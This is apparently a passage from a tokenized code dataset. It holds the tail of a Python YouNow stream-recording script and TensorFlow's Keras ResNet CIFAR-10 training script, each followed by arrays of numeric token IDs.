parts[3] broadcast_id = parts[4] salad = parts[6] client = yn.YouNow(username) logger.info('Trying to download the stream %s from %s' % (broadcast_id, username)) client.download(broadcast_id) def parse_args(): parser = argparse.ArgumentParser(description='Records Streams from YouNow') parser.add_argument('start', action='store', help='An username or record url') parser.add_argument('--yes', action='store_const', const=True, required=False, help='Anwers yes to any y/n questions') parser.add_argument('--onlylive', action='store_const', const=True, required=False, help='Checks only if the user is live and quits otherwise') return parser.parse_args() if __name__ == '__main__': logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) main()
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 646, 7534, 199, 646, 2050, 199, 646, 747, 199, 504, 1973, 492, 612, 78, 421, 199, 318, 2446, 837, 272, 1249, 275, 2198, 63, 589, 342, 272, 340, 612, 78, 14, 2632, 5825, 315, 1249, 14, 928, 26, 267, 327, 2777, 1655, 267, 20320, 63, 633, 8, 589, 14, 928, 9, 272, 587, 26, 267, 20320, 63, 751, 8, 589, 14, 928, 12, 12166, 63, 5066, 29, 589, 14, 5066, 12, 1454, 63, 6442, 29, 589, 14, 2118, 6442, 9, 421, 199, 318, 20320, 63, 751, 8, 2473, 12, 12166, 63, 5066, 29, 797, 12, 1454, 63, 6442, 29, 797, 304, 272, 1890, 275, 612, 78, 14, 5556, 14351, 8, 2473, 9, 272, 6385, 275, 283, 78, 7, 272, 340, 1890, 14, 374, 63, 6442, 837, 267, 340, 440, 12166, 63, 5066, 26, 288, 6385, 275, 1324, 11894, 31541, 61, 450, 83, 365, 18490, 2451, 3063, 1, 7707, 25937, 31, 334, 89, 15, 78, 304, 283, 450, 3434, 9, 267, 340, 6385, 14, 2325, 342, 508, 283, 89, 7, 503, 12166, 63, 5066, 26, 288, 340, 2575, 63, 4249, 316, 8, 2473, 304, 355, 2512, 14, 705, 360, 2439, 19332, 25937, 12166, 1745, 14, 31455, 316, 358, 355, 372, 288, 870, 360, 26040, 24683, 1745, 3063, 358, 288, 12166, 8, 1258, 12, 3434, 9, 288, 372, 272, 340, 1454, 63, 6442, 26, 267, 870, 3508, 83, 365, 440, 12166, 520, 360, 450, 3434, 9, 267, 372, 756, 272, 1343, 63, 504, 275, 378, 272, 862, 26, 267, 1830, 6385, 14, 2325, 342, 508, 283, 78, 356, 288, 11180, 83, 275, 1890, 14, 362, 63, 10786, 83, 8, 928, 63, 504, 9, 288, 340, 11180, 83, 365, 488, 26, 355, 870, 360, 1944, 1655, 699, 5659, 83, 358, 355, 372, 288, 870, 360, 6824, 316, 450, 68, 11180, 83, 6617, 737, 450, 68, 7, 450, 334, 1236, 14, 21111, 32215, 51, 63, 4227, 63, 12898, 12, 1343, 63, 504, 430, 288, 367, 330, 315, 11180, 83, 26, 355, 330, 576, 275, 330, 459, 4603, 2545, 10786, 418, 355, 870, 2258, 84, 9722, 68, 61, 450, 83, 4366, 83, 3171, 450, 334, 490, 330, 576, 459, 10786, 1304, 995, 490, 1890, 14, 1122, 63, 602, 8, 66, 576, 459, 602, 33, 16139, 3815, 490, 330, 576, 459, 10786, 4625, 4649, 5156, 288, 6385, 275, 1324, 360, 3296, 344, 12, 8891, 78, 3985, 367, 2163, 503, 4596, 370, 4458, 26, 5320, 288, 862, 26, 355, 11180, 63, 344, 275, 1109, 8, 5934, 9, 355, 1890, 14, 4249, 8, 10786, 63, 344, 9, 288, 871, 1722, 465, 325, 26, 355, 2050, 14, 705, 360, 20641, 22396, 6835, 26, 1656, 325, 9, 355, 986, 288, 340, 6385, 14, 2325, 342, 508, 283, 78, 356, 355, 1343, 63, 504, 847, 612, 78, 14, 21111, 32215, 51, 63, 4227, 63, 12898, 272, 871, 8779, 547, 26, 267, 2050, 14, 705, 360, 7980, 25187, 5299, 1, 13083, 1488, 46, 2896, 314, 3261, 503, 314, 675, 29437, 13714, 83, 3932, 11180, 83, 358, 4388, 199, 318, 12166, 8, 1258, 12, 3434, 304, 272, 4650, 493, 275, 283, 6442, 3295, 83, 14, 831, 7, 450, 3434, 272, 1551, 8, 26204, 12, 283, 87, 1959, 1600, 342, 272, 862, 26, 267, 1890, 14, 6442, 342, 272, 871, 2186, 465, 325, 26, 267, 870, 8, 69, 9, 267, 986, 272, 3753, 26, 267, 747, 14, 7162, 8, 26204, 9, 421, 199, 318, 2575, 63, 4249, 316, 8, 2473, 304, 272, 4650, 493, 275, 283, 6442, 3295, 83, 14, 831, 7, 450, 3434, 272, 372, 747, 14, 515, 14, 2444, 8, 26204, 9, 421, 199, 318, 20320, 63, 633, 8, 633, 304, 272, 327, 4178, 921, 1544, 14, 16540, 324, 583, 14, 957, 15, 36, 345, 595, 63, 3466, 329, 16079, 1697, 15, 29045, 1477, 9056, 15, 16, 15, 3456, 36, 607, 5747, 74, 15, 66, 15, 1944, 432, 976, 13, 17, 3057, 7806, 272, 4184, 275, 1166, 14, 1294, 7825, 272, 3434, 275, 4184, 59, 19, 61, 272, 11180, 63, 344, 275, 4184, 59, 20, 61, 272, 18641, 350, 275, 4184, 59, 22, 61, 272, 1890, 275, 612, 78, 14, 5556, 14351, 8, 2473, 9, 272, 2512, 14, 815, 360, 27693, 370, 5235, 314, 2547, 450, 83, 687, 450, 83, 7, 450, 334, 10786, 63, 344, 12, 3434, 430, 272, 1890, 14, 4249, 8, 10786, 63, 344, 9, 421, 199, 318, 2198, 63, 589, 837, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 14941, 8271, 83, 687, 2047, 14351, 358, 272, 1798, 14, 525, 63, 2094, 360, 928, 297, 1595, 534, 1617, 297, 1720, 534, 2493, 3434, 503, 2777, 1166, 358, 272, 1798, 14, 525, 63, 2094, 4517, 5066, 297, 1595, 534, 1617, 63, 1297, 297, 950, 29, 549, 12, 1415, 29, 797, 12, 717, 1720, 534, 2493, 12203, 9456, 370, 1263, 612, 15, 78, 23071, 358, 272, 1798, 14, 525, 63, 2094, 4517, 2118, 6442, 297, 1595, 534, 1617, 63, 1297, 297, 950, 29, 549, 12, 1415, 29, 797, 12, 717, 1720, 534, 11834, 1454, 340, 314, 922, 365, 12166, 436, 2173, 1405, 4257, 358, 272, 372, 1798, 14, 1122, 63, 589, 342, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2050, 14, 19602, 8, 1896, 29, 4806, 14, 4531, 9, 272, 2512, 275, 2050, 14, 5572, 3460, 354, 3368, 272, 2446, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 19, 199, 199, 646, 7534, 199, 646, 2050, 199, 646, 747, 199, 504, 1973, 492, 612, 78, 421, 199, 318, 2446, 837, 272, 1249, 275, 2198, 63, 589, 342, 272, 340, 612, 78, 14, 2632, 5825, 315, 1249, 14, 928, 26, 267, 327, 2777, 1655, 267, 20320, 63, 633, 8, 589, 14, 928, 9, 272, 587, 26, 267, 20320, 63, 751, 8, 589, 14, 928, 12, 12166, 63, 5066, 29, 589, 14, 5066, 12, 1454, 63, 6442, 29, 589, 14, 2118, 6442, 9, 421, 199, 318, 20320, 63, 751, 8, 2473, 12, 12166, 63, 5066, 29, 797, 12, 1454, 63, 6442, 29, 797, 304, 272, 1890, 275, 612, 78, 14, 5556, 14351, 8, 2473, 9, 272, 6385, 275, 283, 78, 7, 272, 340, 1890, 14, 374, 63, 6442, 837, 267, 340, 440, 12166, 63, 5066, 26, 288, 6385, 275, 1324, 11894, 31541, 61, 450, 83, 365, 18490, 2451, 3063, 1, 7707, 25937, 31, 334, 89, 15, 78, 304, 283, 450, 3434, 9, 267, 340, 6385, 14, 2325, 342, 508, 283, 89, 7, 503, 12166, 63, 5066, 26, 288, 340, 2575, 63, 4249, 316, 8, 2473, 304, 355, 2512, 14, 705, 360, 2439, 19332, 25937, 12166, 1745, 14, 31455, 316, 358, 355, 372, 288, 870, 360, 26040, 24683, 1745, 3063, 358, 288, 12166, 8, 1258, 12, 3434, 9, 288, 372, 272, 340, 1454, 63, 6442, 26, 267, 870, 3508, 83, 365, 440, 12166, 520, 360, 450, 3434, 9, 267, 372, 756, 272, 1343, 63, 504, 275, 378, 272, 862, 26, 267, 1830, 6385, 14, 2325, 342, 508, 283, 78, 356, 288, 11180, 83, 275, 1890, 14, 362, 63, 10786, 83, 8, 928, 63, 504, 9, 288, 340, 11180, 83, 365, 488, 26, 355, 870, 360, 1944, 1655, 699, 5659, 83, 358, 355, 372, 288, 870, 360, 6824, 316, 450, 68, 11180, 83, 6617, 737, 450, 68, 7, 450, 334, 1236, 14, 21111, 32215, 51, 63, 4227, 63, 12898, 12, 1343, 63, 504, 430, 288, 367, 330, 315, 11180, 83, 26, 355, 330, 576, 275, 330, 459, 4603, 2545, 10786, 418, 355, 870, 2258, 84, 9722, 68, 61, 450, 83, 4366, 83, 3171, 450, 334, 490, 330, 576, 459, 10786, 1304, 995, 490, 1890, 14, 1122, 63, 602, 8, 66, 576, 459, 602, 33, 16139, 3815, 490, 330, 576, 459, 10786, 4625, 4649, 5156, 288, 6385, 275, 1324, 360, 3296, 344, 12, 8891, 78, 3985, 367, 2163, 503, 4596, 370, 4458, 26, 5320, 288, 862, 26, 355, 11180, 63, 344, 275, 1109, 8, 5934, 9, 355, 1890, 14, 4249, 8, 10786, 63, 344, 9, 288, 871, 1722, 465, 325, 26, 355, 2050, 14, 705, 360, 20641, 22396, 6835, 26, 1656, 325, 9, 355, 986, 288, 340, 6385, 14, 2325, 342, 508, 283, 78, 356, 355, 1343, 63, 504, 847, 612, 78, 14, 21111, 32215, 51, 63, 4227, 63, 12898, 272, 871, 8779, 547, 26, 267, 2050, 14, 705, 360, 7980, 25187, 5299, 1, 13083, 1488, 46, 2896, 314, 3261, 503, 314, 675, 29437, 13714, 83, 3932, 11180, 83, 358, 4388, 199, 318, 12166, 8, 1258, 12, 3434, 304, 272, 4650, 493, 275, 283, 6442, 3295, 83, 14, 831, 7, 450, 3434, 272, 1551, 8, 26204, 12, 283, 87, 1959, 1600, 342, 272, 862, 26, 267, 1890, 14, 6442, 342, 272, 871, 2186, 465, 325, 26, 267, 870, 8, 69, 9, 267, 986, 272, 3753, 26, 267, 747, 14, 7162, 8, 26204, 9, 421, 199, 318, 2575, 63, 4249, 316, 8, 2473, 304, 272, 4650, 493, 275, 283, 6442, 3295, 83, 14, 831, 7, 450, 3434, 272, 372, 747, 14, 515, 14, 2444, 8, 26204, 9, 421, 199, 318, 20320, 63, 633, 8, 633, 304, 272, 327, 4178, 921, 1544, 14, 16540, 324, 583, 14, 957, 15, 36, 345, 595, 63, 3466, 329, 16079, 1697, 15, 29045, 1477, 9056, 15, 16, 15, 3456, 36, 607, 5747, 74, 15, 66, 15, 1944, 432, 976, 13, 17, 3057, 7806, 272, 4184, 275, 1166, 14, 1294, 7825, 272, 3434, 275, 4184, 59, 19, 61, 272, 11180, 63, 344, 275, 4184, 59, 20, 61, 272, 18641, 350, 275, 4184, 59, 22, 61, 272, 1890, 275, 612, 78, 14, 5556, 14351, 8, 2473, 9, 272, 2512, 14, 815, 360, 27693, 370, 5235, 314, 2547, 450, 83, 687, 450, 83, 7, 450, 334, 10786, 63, 344, 12, 3434, 430, 272, 1890, 14, 4249, 8, 10786, 63, 344, 9, 421, 199, 318, 2198, 63, 589, 837, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 14941, 8271, 83, 687, 2047, 14351, 358, 272, 1798, 14, 525, 63, 2094, 360, 928, 297, 1595, 534, 1617, 297, 1720, 534, 2493, 3434, 503, 2777, 1166, 358, 272, 1798, 14, 525, 63, 2094, 4517, 5066, 297, 1595, 534, 1617, 63, 1297, 297, 950, 29, 549, 12, 1415, 29, 797, 12, 717, 1720, 534, 2493, 12203, 9456, 370, 1263, 612, 15, 78, 23071, 358, 272, 1798, 14, 525, 63, 2094, 4517, 2118, 6442, 297, 1595, 534, 1617, 63, 1297, 297, 950, 29, 549, 12, 1415, 29, 797, 12, 717, 1720, 534, 11834, 1454, 340, 314, 922, 365, 12166, 436, 2173, 1405, 4257, 358, 272, 372, 1798, 14, 1122, 63, 589, 342, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2050, 14, 19602, 8, 1896, 29, 4806, 14, 4531, 9, 272, 2512, 275, 2050, 14, 5572, 3460, 354, 3368, 272, 2446, 342, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1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jchow/models
official/resnet/keras/keras_cifar_main.py
1
7184
# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Runs a ResNet model on the Cifar-10 dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from absl import app as absl_app from absl import flags import tensorflow as tf # pylint: disable=g-bad-import-order from official.resnet import cifar10_main as cifar_main from official.resnet.keras import keras_common from official.resnet.keras import resnet_cifar_model from official.utils.flags import core as flags_core from official.utils.logs import logger from official.utils.misc import distribution_utils LR_SCHEDULE = [ # (multiplier, epoch to start) tuples (0.1, 91), (0.01, 136), (0.001, 182) ] def learning_rate_schedule(current_epoch, current_batch, batches_per_epoch, batch_size): """Handles linear scaling rule and LR decay. Scale learning rate at epoch boundaries provided in LR_SCHEDULE by the provided scaling factor. Args: current_epoch: integer, current epoch indexed from 0. current_batch: integer, current batch in the current epoch, indexed from 0. batches_per_epoch: integer, number of steps in an epoch. batch_size: integer, total batch sized. Returns: Adjusted learning rate. """ del current_batch, batches_per_epoch # not used initial_learning_rate = keras_common.BASE_LEARNING_RATE * batch_size / 128 learning_rate = initial_learning_rate for mult, start_epoch in LR_SCHEDULE: if current_epoch >= start_epoch: learning_rate = initial_learning_rate * mult else: break return learning_rate def parse_record_keras(raw_record, is_training, dtype): """Parses a record containing a training example of an image. The input record is parsed into a label and image, and the image is passed through preprocessing steps (cropping, flipping, and so on). This method converts the label to one hot to fit the loss function. Args: raw_record: scalar Tensor tf.string containing a serialized Example protocol buffer. is_training: A boolean denoting whether the input is for training. dtype: Data type to use for input images. Returns: Tuple with processed image tensor and one-hot-encoded label tensor. """ image, label = cifar_main.parse_record(raw_record, is_training, dtype) label = tf.compat.v1.sparse_to_dense(label, (cifar_main.NUM_CLASSES,), 1) return image, label def run(flags_obj): """Run ResNet Cifar-10 training and eval loop using native Keras APIs. Args: flags_obj: An object containing parsed flag values. Raises: ValueError: If fp16 is passed as it is not currently supported. Returns: Dictionary of training and eval stats. """ # TODO(tobyboyd): Remove eager flag when tf 1.0 testing ends. # Eager is default in tf 2.0 and should not be toggled if keras_common.is_v2_0(): keras_common.set_config_v2() else: config = keras_common.get_config_proto_v1() if flags_obj.enable_eager: tf.compat.v1.enable_eager_execution(config=config) else: sess = tf.Session(config=config) tf.keras.backend.set_session(sess) dtype = flags_core.get_tf_dtype(flags_obj) if dtype == 'fp16': raise ValueError('dtype fp16 is not supported in Keras. Use the default ' 'value(fp32).') data_format = flags_obj.data_format if data_format is None: data_format = ('channels_first' if tf.test.is_built_with_cuda() else 'channels_last') tf.keras.backend.set_image_data_format(data_format) strategy = distribution_utils.get_distribution_strategy( distribution_strategy=flags_obj.distribution_strategy, num_gpus=flags_obj.num_gpus) strategy_scope = distribution_utils.get_strategy_scope(strategy) if flags_obj.use_synthetic_data: distribution_utils.set_up_synthetic_data() input_fn = keras_common.get_synth_input_fn( height=cifar_main.HEIGHT, width=cifar_main.WIDTH, num_channels=cifar_main.NUM_CHANNELS, num_classes=cifar_main.NUM_CLASSES, dtype=flags_core.get_tf_dtype(flags_obj)) else: distribution_utils.undo_set_up_synthetic_data() input_fn = cifar_main.input_fn train_input_dataset = input_fn( is_training=True, data_dir=flags_obj.data_dir, batch_size=flags_obj.batch_size, num_epochs=flags_obj.train_epochs, parse_record_fn=parse_record_keras) eval_input_dataset = input_fn( is_training=False, data_dir=flags_obj.data_dir, batch_size=flags_obj.batch_size, num_epochs=flags_obj.train_epochs, parse_record_fn=parse_record_keras) with strategy_scope: optimizer = keras_common.get_optimizer() model = resnet_cifar_model.resnet56(classes=cifar_main.NUM_CLASSES) model.compile(loss='categorical_crossentropy', optimizer=optimizer, metrics=['categorical_accuracy']) callbacks = keras_common.get_callbacks( learning_rate_schedule, cifar_main.NUM_IMAGES['train']) train_steps = cifar_main.NUM_IMAGES['train'] // flags_obj.batch_size train_epochs = flags_obj.train_epochs if flags_obj.train_steps: train_steps = min(flags_obj.train_steps, train_steps) train_epochs = 1 num_eval_steps = (cifar_main.NUM_IMAGES['validation'] // flags_obj.batch_size) validation_data = eval_input_dataset if flags_obj.skip_eval: tf.keras.backend.set_learning_phase(1) num_eval_steps = None validation_data = None history = model.fit(train_input_dataset, epochs=train_epochs, steps_per_epoch=train_steps, callbacks=callbacks, validation_steps=num_eval_steps, validation_data=validation_data, validation_freq=flags_obj.epochs_between_evals, verbose=2) eval_output = None if not flags_obj.skip_eval: eval_output = model.evaluate(eval_input_dataset, steps=num_eval_steps, verbose=2) stats = keras_common.build_stats(history, eval_output, callbacks) return stats def main(_): with logger.benchmark_context(flags.FLAGS): return run(flags.FLAGS) if __name__ == '__main__': tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.INFO) cifar_main.define_cifar_flags() keras_common.define_keras_flags() absl_app.run(main)
apache-2.0
[ 3, 1898, 14894, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 16291, 282, 3591, 2480, 1402, 641, 314, 445, 692, 285, 13, 709, 4789, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 2853, 76, 492, 1145, 465, 2853, 76, 63, 571, 199, 504, 2853, 76, 492, 3285, 199, 646, 3228, 465, 2833, 221, 327, 4287, 26, 3507, 29, 71, 13, 4087, 13, 646, 13, 1648, 199, 199, 504, 25410, 14, 28998, 492, 286, 692, 285, 709, 63, 973, 465, 286, 692, 285, 63, 973, 199, 504, 25410, 14, 28998, 14, 8811, 492, 11708, 63, 2330, 199, 504, 25410, 14, 28998, 14, 8811, 492, 522, 846, 63, 559, 15315, 63, 1238, 199, 504, 25410, 14, 1208, 14, 2469, 492, 6170, 465, 3285, 63, 1018, 199, 504, 25410, 14, 1208, 14, 7270, 492, 2512, 199, 504, 25410, 14, 1208, 14, 9923, 492, 4084, 63, 1208, 421, 199, 17665, 63, 27944, 26579, 275, 359, 221, 327, 334, 15812, 12, 9463, 370, 1343, 9, 6346, 272, 334, 16, 14, 17, 12, 21358, 395, 334, 16, 14, 614, 12, 27208, 395, 334, 16, 14, 4587, 12, 413, 2564, 9, 199, 61, 421, 199, 318, 9328, 63, 1866, 63, 7211, 8, 1818, 63, 7367, 12, 2574, 1453, 63, 2912, 12, 2574, 19593, 63, 529, 63, 7367, 12, 2574, 3522, 63, 890, 304, 523, 408, 23555, 7798, 13690, 2332, 436, 22248, 16696, 14, 819, 22869, 9328, 6634, 737, 9463, 18135, 2741, 315, 22248, 63, 27944, 26579, 701, 314, 523, 2741, 13690, 6535, 14, 819, 3033, 26, 272, 1453, 63, 7367, 26, 3000, 12, 1453, 9463, 15235, 687, 378, 14, 272, 1453, 63, 2912, 26, 3000, 12, 1453, 3522, 315, 314, 1453, 9463, 12, 15235, 687, 378, 14, 272, 19593, 63, 529, 63, 7367, 26, 3000, 12, 1329, 402, 7124, 315, 376, 9463, 14, 272, 3522, 63, 890, 26, 3000, 12, 3141, 3522, 308, 1759, 14, 819, 1803, 26, 272, 4431, 74, 7274, 9328, 6634, 14, 523, 408, 523, 2150, 1453, 63, 2912, 12, 19593, 63, 529, 63, 7367, 221, 327, 440, 1202, 523, 2536, 63, 10546, 63, 1866, 275, 11708, 63, 2330, 14, 5825, 63, 906, 689, 6024, 63, 16553, 627, 3522, 63, 890, 1182, 7960, 523, 9328, 63, 1866, 275, 2536, 63, 10546, 63, 1866, 523, 367, 20861, 12, 1343, 63, 7367, 315, 22248, 63, 27944, 26579, 26, 272, 340, 1453, 63, 7367, 2356, 1343, 63, 7367, 26, 489, 9328, 63, 1866, 275, 2536, 63, 10546, 63, 1866, 627, 20861, 272, 587, 26, 489, 2059, 523, 372, 9328, 63, 1866, 421, 199, 318, 2198, 63, 3059, 63, 8811, 8, 1773, 63, 3059, 12, 365, 63, 7588, 12, 2152, 304, 523, 408, 23400, 282, 2777, 3035, 282, 6093, 2893, 402, 376, 1834, 14, 819, 710, 1324, 2777, 365, 4565, 1901, 282, 1768, 436, 1834, 12, 436, 314, 1834, 365, 3032, 523, 4012, 26471, 7124, 334, 67, 20148, 12, 289, 317, 3637, 12, 436, 880, 641, 680, 819, 961, 1083, 15373, 314, 1768, 370, 1373, 18469, 370, 5542, 314, 5621, 805, 14, 819, 3033, 26, 272, 3066, 63, 3059, 26, 6917, 5878, 2833, 14, 875, 3035, 282, 6380, 489, 5679, 4113, 3335, 14, 272, 365, 63, 7588, 26, 437, 5046, 477, 1397, 316, 3775, 314, 1324, 365, 367, 6093, 14, 272, 2152, 26, 3918, 730, 370, 675, 367, 1324, 5935, 14, 819, 1803, 26, 272, 11634, 543, 7686, 1834, 2345, 436, 1373, 13, 8885, 13, 8167, 1768, 2345, 14, 523, 408, 523, 1834, 12, 1768, 275, 286, 692, 285, 63, 973, 14, 1122, 63, 3059, 8, 1773, 63, 3059, 12, 365, 63, 7588, 12, 2152, 9, 523, 1768, 275, 2833, 14, 5819, 14, 86, 17, 14, 4421, 63, 475, 63, 7253, 8, 1302, 12, 334, 559, 15315, 63, 973, 14, 7125, 63, 13748, 4706, 413, 9, 523, 372, 1834, 12, 1768, 421, 199, 318, 1255, 8, 2469, 63, 1113, 304, 523, 408, 2540, 3591, 2480, 445, 692, 285, 13, 709, 6093, 436, 3468, 4438, 1808, 5438, 1804, 30037, 15913, 14, 819, 3033, 26, 272, 3285, 63, 1113, 26, 1626, 909, 3035, 4565, 3305, 1338, 14, 819, 6218, 26, 272, 1722, 26, 982, 4090, 975, 365, 3032, 465, 652, 365, 440, 5544, 3748, 14, 819, 1803, 26, 272, 11932, 402, 6093, 436, 3468, 5020, 14, 523, 408, 523, 327, 3254, 8, 475, 991, 656, 24503, 304, 5852, 21719, 3305, 1380, 2833, 413, 14, 16, 5343, 11187, 14, 523, 327, 662, 1456, 365, 849, 315, 2833, 499, 14, 16, 436, 1077, 440, 506, 370, 27463, 523, 340, 11708, 63, 2330, 14, 374, 63, 86, 18, 63, 16, 837, 272, 11708, 63, 2330, 14, 409, 63, 888, 63, 86, 18, 342, 523, 587, 26, 272, 1101, 275, 11708, 63, 2330, 14, 362, 63, 888, 63, 2625, 63, 86, 17, 342, 272, 340, 3285, 63, 1113, 14, 4296, 63, 10283, 26, 489, 2833, 14, 5819, 14, 86, 17, 14, 4296, 63, 10283, 63, 9416, 8, 888, 29, 888, 9, 272, 587, 26, 489, 4043, 275, 2833, 14, 4434, 8, 888, 29, 888, 9, 489, 2833, 14, 8811, 14, 4620, 14, 409, 63, 1730, 8, 5480, 9, 819, 2152, 275, 3285, 63, 1018, 14, 362, 63, 3249, 63, 2271, 8, 2469, 63, 1113, 9, 523, 340, 2152, 508, 283, 3997, 975, 356, 272, 746, 1722, 360, 2271, 4090, 975 ]
[ 1898, 14894, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 16291, 282, 3591, 2480, 1402, 641, 314, 445, 692, 285, 13, 709, 4789, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 2853, 76, 492, 1145, 465, 2853, 76, 63, 571, 199, 504, 2853, 76, 492, 3285, 199, 646, 3228, 465, 2833, 221, 327, 4287, 26, 3507, 29, 71, 13, 4087, 13, 646, 13, 1648, 199, 199, 504, 25410, 14, 28998, 492, 286, 692, 285, 709, 63, 973, 465, 286, 692, 285, 63, 973, 199, 504, 25410, 14, 28998, 14, 8811, 492, 11708, 63, 2330, 199, 504, 25410, 14, 28998, 14, 8811, 492, 522, 846, 63, 559, 15315, 63, 1238, 199, 504, 25410, 14, 1208, 14, 2469, 492, 6170, 465, 3285, 63, 1018, 199, 504, 25410, 14, 1208, 14, 7270, 492, 2512, 199, 504, 25410, 14, 1208, 14, 9923, 492, 4084, 63, 1208, 421, 199, 17665, 63, 27944, 26579, 275, 359, 221, 327, 334, 15812, 12, 9463, 370, 1343, 9, 6346, 272, 334, 16, 14, 17, 12, 21358, 395, 334, 16, 14, 614, 12, 27208, 395, 334, 16, 14, 4587, 12, 413, 2564, 9, 199, 61, 421, 199, 318, 9328, 63, 1866, 63, 7211, 8, 1818, 63, 7367, 12, 2574, 1453, 63, 2912, 12, 2574, 19593, 63, 529, 63, 7367, 12, 2574, 3522, 63, 890, 304, 523, 408, 23555, 7798, 13690, 2332, 436, 22248, 16696, 14, 819, 22869, 9328, 6634, 737, 9463, 18135, 2741, 315, 22248, 63, 27944, 26579, 701, 314, 523, 2741, 13690, 6535, 14, 819, 3033, 26, 272, 1453, 63, 7367, 26, 3000, 12, 1453, 9463, 15235, 687, 378, 14, 272, 1453, 63, 2912, 26, 3000, 12, 1453, 3522, 315, 314, 1453, 9463, 12, 15235, 687, 378, 14, 272, 19593, 63, 529, 63, 7367, 26, 3000, 12, 1329, 402, 7124, 315, 376, 9463, 14, 272, 3522, 63, 890, 26, 3000, 12, 3141, 3522, 308, 1759, 14, 819, 1803, 26, 272, 4431, 74, 7274, 9328, 6634, 14, 523, 408, 523, 2150, 1453, 63, 2912, 12, 